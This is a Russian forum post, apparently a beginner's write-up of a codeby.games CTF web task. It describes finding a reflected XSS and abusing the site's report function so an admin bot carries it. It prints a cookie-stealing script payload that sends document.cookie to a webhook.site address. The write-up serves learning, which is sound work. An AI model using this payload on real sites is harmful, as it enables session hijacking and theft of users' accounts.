Решаем CTF codeby / обучаюсь хакерству день 1. (Задание - Клиент всегда прав)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Решаем CTF codeby / обучаюсь хакерству день 1.


Здравствуйте, я очень люблю учиться ИБ, особенно я люблю практику. Так что сегодня будем учиться решать таски на практике. На сайте codeby.games есть множество заданий. Многие легкие задания я уже выполнил, а также они не такие интересные, так что сразу начнем со средних.
Сразу скажу, что я только учусь пентесту, если у вас есть какая-то критика или материал для изучения, мне будет приятно выслушать её в комментариях, чтобы стать лучше!!!

Задание - Клиент всегда прав.
Описание - Какой-то админ ворует наши публикации и выставляет их на свой сайт. Ты ведь не будешь сидеть сложа руки?
И сам сайт где нужно найти флаг - 62.173.140.174:16013

Сам сайт выглядит так -

1713554944078.png


В каждой статье нас встречает картинка и текст
1713554965787.png


Так первым делом по приколу я закинул сайт в сканер burpsuirte pro
1713554991835.png


И, к моему удивлению, он кое-что да нашел.
1713555037279.png


Но это обычный XSS, и в обычном виде он нам ничего не дает. Ищем дальше.После 30 минут ползанья по сайту я наконец увидел иконку репорта на статью на сайте.

1713555067406.png


Давайте изучим это через proxy в Burp.Включаем перехват запроса.

1713555133477.png


нажимаем на кнопку и видим GET запрос на сервер

1713555150600.png



Так это уже интересно. Тут запрос с шаблоном {/?report={адрес публикации}}.
Отправляем запрос в репитер и пробуем шаманить.
Для начала давайте попытаемся зарепортить localhost.

1713555178941.png



Отправляем запрос и получаем…
1713555194599.png



Хм, значит, не туда копаем.

Я начал обдумывать всё, что нам дано, и тут у меня появилась догадка. При отправке запроса на поиск статьи он отправляется как GET-запрос.

1713555213437.png



а теперь давайте попробуем его зарепортить, и получаем

1713555278079.png


Так, значит, на запросы детекст не распространяется. Дальше я вспомнил, что как раз в запросах у нас есть XSS-уязвимость, теперь надо подумать, как её проэксплуатировать. Первое, что пришло в голову, это получить cookie от сервера. Но как это сделать, если через репорт алерт работать не будет? Здесь нужно принять cookie на сервер. Я не знал, как это сделать, и я просто загуглил. К сожалению, я ничего не нашёл, кроме решения этого же таска от пользователя codeby D3L1F3R — он отправляет cookie на вебхук, что намного легче, чем делать отправку на свой сервер.

Для того чтобы отправить cookie на вебхук, надо сначала вебхук создать. Для этого есть сайт — https://webhook.site, в поле Your unique URL будет ваш вебхук-адрес. Далее нужно просто вставить его в команду: <script>document.location='Ваш_Вебхук_Адрес/c='+encodeURIComponent(document.cookie);</script> Далее я закодировал payload в URL через тот же бурп и вставил в репитер:
1713555295227.png



После отправки запроса мы видим что запрос отправился на сервер успешно, далее проверяем сайт https://webhook.site и видим новый гет запрос -
1713555343237.png


В URL которого и будет наш флаг.

По факту сам я дошел до половины, но осилить XSS с отправкой на вебхук или сервер я не смог, но теперь я знаю новый метод эксплуатации XSS.
Это был один из самых легких средних заданий на сайте), так что в дальнейшем будут более трудные задания. Спасибо всем за просмотр. Это моя первая статья, так что, пожалуйста, не судите строго, всем удачи!
 
Сверху Снизу